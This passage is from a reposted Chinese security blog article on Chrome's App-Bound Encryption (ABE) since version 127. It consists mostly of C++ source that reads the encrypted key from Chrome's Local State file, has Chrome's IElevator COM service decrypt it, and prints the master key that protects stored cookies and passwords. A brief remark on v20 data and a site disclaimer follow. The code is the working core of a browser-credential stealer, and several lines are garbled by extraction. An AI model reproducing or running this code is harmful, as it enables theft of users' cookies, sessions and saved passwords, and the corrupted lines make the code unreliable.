        ConsoleUtils::SetConsoleColor(9);
        std::cout << "[+] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cout << "Local State path: " << localStatePath << std::endl;

        // Open Local State file
        std::ifstream file(localStatePath);
        if (!file.is_open())
        {
            ConsoleUtils::SetConsoleColor(12);
            std::cerr << "[-] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cerr << "Could not open the Local State file." << std::endl;
            return {};
        }

        std::string fileContent((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
        file.close();

        const std::string searchKey = ""app_bound_encrypted_key":"";
        size_t keyStartPos = fileContent.find(searchKey);
        if (keyStartPos == std::string::npos)
        {
            ConsoleUtils::SetConsoleColor(12);
            std::cerr << "[-] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cerr << "'app_bound_encrypted_key' not found in Local State file." << std::endl;
            return {};
        }

        keyStartPos += searchKey.length();
        size_t keyEndPos = fileContent.find(""", keyStartPos);
        if (keyEndPos == std::string::npos)
        {
            ConsoleUtils::SetConsoleColor(12);
            std::cerr << "[-] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cerr << "Malformed 'app_bound_encrypted_key' in Local State file." << std::endl;
            return {};
        }

        std::string base64_encrypted_key = fileContent.substr(keyStartPos, keyEndPos - keyStartPos);
        ConsoleUtils::SetConsoleColor(9);
        std::cout << "[+] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cout << "Base64 encrypted key extracted." << std::endl;

        std::vector<uint8_t> encrypted_key_with_header = Base64Decode(base64_encrypted_key);

        if (!std::equal(std::begin(KeyPrefix), std::end(KeyPrefix), encrypted_key_with_header.begin()))
        {
            ConsoleUtils::SetConsoleColor(12);
            std::cerr << "[-] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cerr << "Invalid key header." << std::endl;
            return {};
        }

        ConsoleUtils::SetConsoleColor(9);
        std::cout << "[+] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cout << "Key header is valid." << std::endl;

        return std::vector<uint8_t>(encrypted_key_with_header.begin() + sizeof(KeyPrefix), encrypted_key_with_header.end());
    }

    void PrintChromeVersion(const std::string &chromePath)
    
{
        DWORD handle = 0;
        DWORD versionSize = GetFileVersionInfoSizeA(chromePath.c_str(), &handle);
        if (versionSize == 0)
        {
            ConsoleUtils::SetConsoleColor(12);
            std::cerr << "[-] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cerr << "Could not get version size for " << chromePath << std::endl;
            return;
        }

        std::vector<charversionData(versionSize);
        if (!GetFileVersionInfoA(chromePath.c_str(), handle, versionSize, versionData.data()))
        {
            ConsoleUtils::SetConsoleColor(12);
            std::cerr << "[-] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cerr << "Could not get version info for " << chromePath << std::endl;
            return;
        }

        VS_FIXEDFILEINFO *fileInfo = nullptr;
        UINT size = 0;
        if (!VerQueryValueA(versionData.data(), "\"reinterpret_cast<LPVOID *>(&fileInfo), &size))
        {
            ConsoleUtils::SetConsoleColor(12);
            std::cerr << "[-] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cerr << "Could not query version value." << std::endl;
            return;
        }

        if (fileInfo)
        {
            DWORD major = HIWORD(fileInfo->dwFileVersionMS);
            DWORD minor = LOWORD(fileInfo->dwFileVersionMS);
            DWORD build = HIWORD(fileInfo->dwFileVersionLS);
            DWORD revision = LOWORD(fileInfo->dwFileVersionLS);

            ConsoleUtils::SetConsoleColor(10);
            std::cout << "[+] ";
            ConsoleUtils::SetConsoleColor(7);
            std::cout << "Found Chrome Version: " << major << "." << minor << "." << build << "." << revision << std::endl;
        }
    }
}

int main()
{
    ConsoleUtils::DisplayBanner();
    ChromeAppBound::PrintChromeVersion("C:\Program Files\Google\Chrome\Application\chrome.exe");

    ConsoleUtils::SetConsoleColor(9);
    std::cout << "[*] ";
    ConsoleUtils::SetConsoleColor(7);
    std::cout << "Starting Chrome App-Bound Encryption Decryption process." << std::endl;

    HRESULT hr = CoInitializeEx(nullptr, COINIT_APARTMENTTHREADED);
    if (FAILED(hr))
    {
        ConsoleUtils::SetConsoleColor(12);
        std::cerr << "[-] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cerr << "Failed to initialize COM." << std::endl;
        return -1;
    }

    ConsoleUtils::SetConsoleColor(9);
    std::cout << "[+] ";
    ConsoleUtils::SetConsoleColor(7);
    std::cout << "COM library initialized." << std::endl;

    Microsoft::WRL::ComPtr<IElevator> elevator;
    DWORD last_error = ERROR_GEN_FAILURE;

    hr = CoCreateInstance(CLSID_Elevator, nullptr, CLSCTX_LOCAL_SERVER, IID_IElevator, (void **)&elevator);

    if (FAILED(hr))
    {
        ConsoleUtils::SetConsoleColor(12);
        std::cerr << "[-] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cerr << "Failed to create IElevator instance." << std::endl;
        CoUninitialize();
        return -1;
    }

    ConsoleUtils::SetConsoleColor(9);
    std::cout << "[+] ";
    ConsoleUtils::SetConsoleColor(7);
    std::cout << "IElevator instance created successfully." << std::endl;

    hr = CoSetProxyBlanket(
        elevator.Get(),
        RPC_C_AUTHN_DEFAULT,
        RPC_C_AUTHZ_DEFAULT,
        COLE_DEFAULT_PRINCIPAL,
        RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
        RPC_C_IMP_LEVEL_IMPERSONATE,
        nullptr,
        EOAC_DYNAMIC_CLOAKING);

    if (FAILED(hr))
    {
        ConsoleUtils::SetConsoleColor(12);
        std::cerr << "[-] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cerr << "Failed to set proxy blanket." << std::endl;
        CoUninitialize();
        return -1;
    }

    ConsoleUtils::SetConsoleColor(9);
    std::cout << "[+] ";
    ConsoleUtils::SetConsoleColor(7);
    std::cout << "Proxy blanket set successfully." << std::endl;

    std::vector<uint8_t> encrypted_key = ChromeAppBound::RetrieveEncryptedKeyFromLocalState();
    ConsoleUtils::SetConsoleColor(9);
    std::cout << "[+] ";
    ConsoleUtils::SetConsoleColor(7);
    std::cout << "Encrypted key retrieved: " << ChromeAppBound::BytesToHexString(encrypted_key.data(), 20) << "..." << std::endl;

    BSTR ciphertext_data = SysAllocStringByteLen(reinterpret_cast<const char *>(encrypted_key.data()), encrypted_key.size());
    if (!ciphertext_data)
    {
        ConsoleUtils::SetConsoleColor(12);
        std::cerr << "[-] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cerr << "Failed to allocate BSTR for encrypted key." << std::endl;
        CoUninitialize();
        return -1;
    }

    ConsoleUtils::SetConsoleColor(9);
    std::cout << "[+] ";
    ConsoleUtils::SetConsoleColor(7);
    std::cout << "BSTR allocated for encrypted key." << std::endl;

    BSTR plaintext_data = nullptr;
    hr = elevator->DecryptData(ciphertext_data, &plaintext_data, &last_error);

    if (SUCCEEDED(hr))
    {
        ConsoleUtils::SetConsoleColor(9);
        std::cout << "[+] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cout << "Decryption successful." << std::endl;

        BYTE *decrypted_key = new BYTE[ChromeAppBound::KeySize];
        memcpy(decrypted_key, reinterpret_cast<void *>(plaintext_data), ChromeAppBound::KeySize);
        SysFreeString(plaintext_data);

        ConsoleUtils::SetConsoleColor(10);
        std::cout << "[+] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cout << "DECRYPTED KEY: ";
        ConsoleUtils::SetConsoleColor(11);
        std::cout << ChromeAppBound::BytesToHexString(decrypted_key, ChromeAppBound::KeySize) << std::endl;
        ConsoleUtils::SetConsoleColor(7);
        delete[] decrypted_key;
    }
    else
    {
        ConsoleUtils::SetConsoleColor(12);
        std::cerr << "[-] ";
        ConsoleUtils::SetConsoleColor(7);
        std::cerr << "Decryption failed. Last error: " << last_error << std::endl;
}

    SysFreeString(ciphertext_data);
    CoUninitialize();
    return 0;
}

效果如下:

【技术解剖】Chrome 127 版本之后的 ABE 加解密

PS:v20 的数据是带有脏数据的,去除 32 的长度。

0x05 参考

https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html

https://drive.google.com/file/d/1xMXmA0UJifXoTHjHWtVir2rb94OsxXAI/view

原文始发于微信公众号(RowTeam):【技术解剖】Chrome 127 版本之后的 ABE 加解密

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年11月20日23:00:52
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【技术解剖】Chrome 127 版本之后的 ABE 加解密https://cn-sec.com/archives/3417391.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息